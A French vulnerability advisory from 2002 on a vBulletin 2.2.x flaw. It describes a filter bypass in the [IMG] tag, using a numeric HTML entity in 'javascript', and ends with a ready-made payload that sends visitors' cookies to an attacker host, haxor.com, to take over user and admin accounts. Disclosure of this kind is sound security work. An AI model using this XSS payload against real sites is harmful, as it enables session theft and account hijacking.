vBulletin : insécurité liée aux cookies. **************************************** Produit : ********* VBulletin http://www.vbulletin.com Versions : ********** 2.2.0 , 2.2.2 (et autres ?) Date : ****** 21/03/02 Probleme : ********** - Accès aux comptes users/admins. Developpement : *************** "vBulletin Community Forum" permet, en plus que d'écrire comme dans tout les forums, d'envoyer et de recevoir des messages privés. La faille que nous allons voir utilise une des ressources de vbulletin : le code vB. Expliquation du code vB par vbulletin : --------------------------------------------------------------------------------------- Qu'est-ce que le code vB ? Le code vB est un ensemble de tags basés sur ceux du langage HTML qui devrait déjà vous être familier. Ils vous permettent d'ajouter une mise en page à vos messages comme le fait le HTML, mais possède une syntaxe bien plus facile et n'affecteront pas la disposition des pages que vous voyez. La possibilité d'utiliser le code vB est décidée pour chaque forum par l'administrateur, donc vous devrez consulter les règles du forum quand vous posterez un nouveau message. --------------------------------------------------------------------------------------- La faille ne fonctionne donc qu'avec le code vB activé. Quelques exemples de balises vB : [email]monnom@domaine.com[/email] [url]www.vbulletin.com/forum/[/url] [url=http://www.vbulletin.com/forum/]Cliquez ici pour visiter les forums vBulletin[/url] Plus sur : http://www.vbulletin.com/forum/misc.php?s=&action=bbcode Voyons maintenant les cookies. De nombreux cookies sont envoyés par vbulletin : bblastvisit , bblastactivity, sessionhash, bbthreadview[X] (X étant l'id d'une thread), etc... Quand on se logge en tant qu'user, 2 cookies sont envoyés : bbuserid et bbpassword. Le premier contenant l'id de l'user et le second le password, crypté. Si ces deux cookies sont envoyés sur nimporte quelle page de vBulletin (et qu'ils sont justes), on sera authentifié comme l'user à qui ils appartiennent. Si on ne reçoit pas de valeur dans le cookie bbuserid, il suffit d'aller dans la liste des membres, /memberlist.php?s=, et de regarder l'userid dans les urls. Si celui qui se logge est un admin, un cookie supplémentaire sera envoyé : bbadminon. Si aucune valeur ne lui est donnée, le cookie vaudra 1. Seul donc le password crypté est trouvable uniquement par les cookies. Si on recupére les cookies, il est donc possible de rentrer dans nimporte quel compte user ou admin. Un passage par lequel pourrait être envoyé un script recuperateur serait les messages privés (reservé aux membres), dont l'url est /private.php?s= . La balise de code vB qui nous interesse est la balise permettant d'inserer des images : [IMG][/IMG] . On sait qu'en HTML, on peut faire executer du javascript de cette façon : . En code vB, cela donnera donc : [IMG]javascript:alert('hop');[/IMG]. Si on essaye cette balise sur vBulletin, le javascript ne s'executera pas, et on pourra voir qu'aucune image n'aura été trouvée. Si on regarde l'url de l'image qui est censée être affichée, on verra : http://www.host.com/path/java%20script:alert('hop'); . Pour parer l'eventualité de faire passer du javascript par cette balise, vBulletin à donc placé un espace (%20) entre 'java' et 'script' dans 'javascript', ce qui a comme conséquence de le faire interpreter comme une url. Le risque d'un filtre est qu'il soit contournable... et c'est le cas ici. On peut par exemple remplacer le 'c' par sont entité numérique, en ASCII : c , ce qui nous donnera : [IMG]javascript:alert('hop');[/IMG] et nous affichera une alerte à la reception du message. A ce point, il ne reste qu'un pas pour recuperer les cookies, et donc le compte. Exemple de code vB : [IMG]javascript:location='http://www.haxor.com/script.php?'+document.cookie;[/IMG] , script.php étant un script enregistrant l'info. Patch : ******* Versions plus vieilles ? Greetz : ******** Bl@ck, Fight-Spirit Credits : ********* frog-m@n leseulfrog@hotmail.com Free Tibet !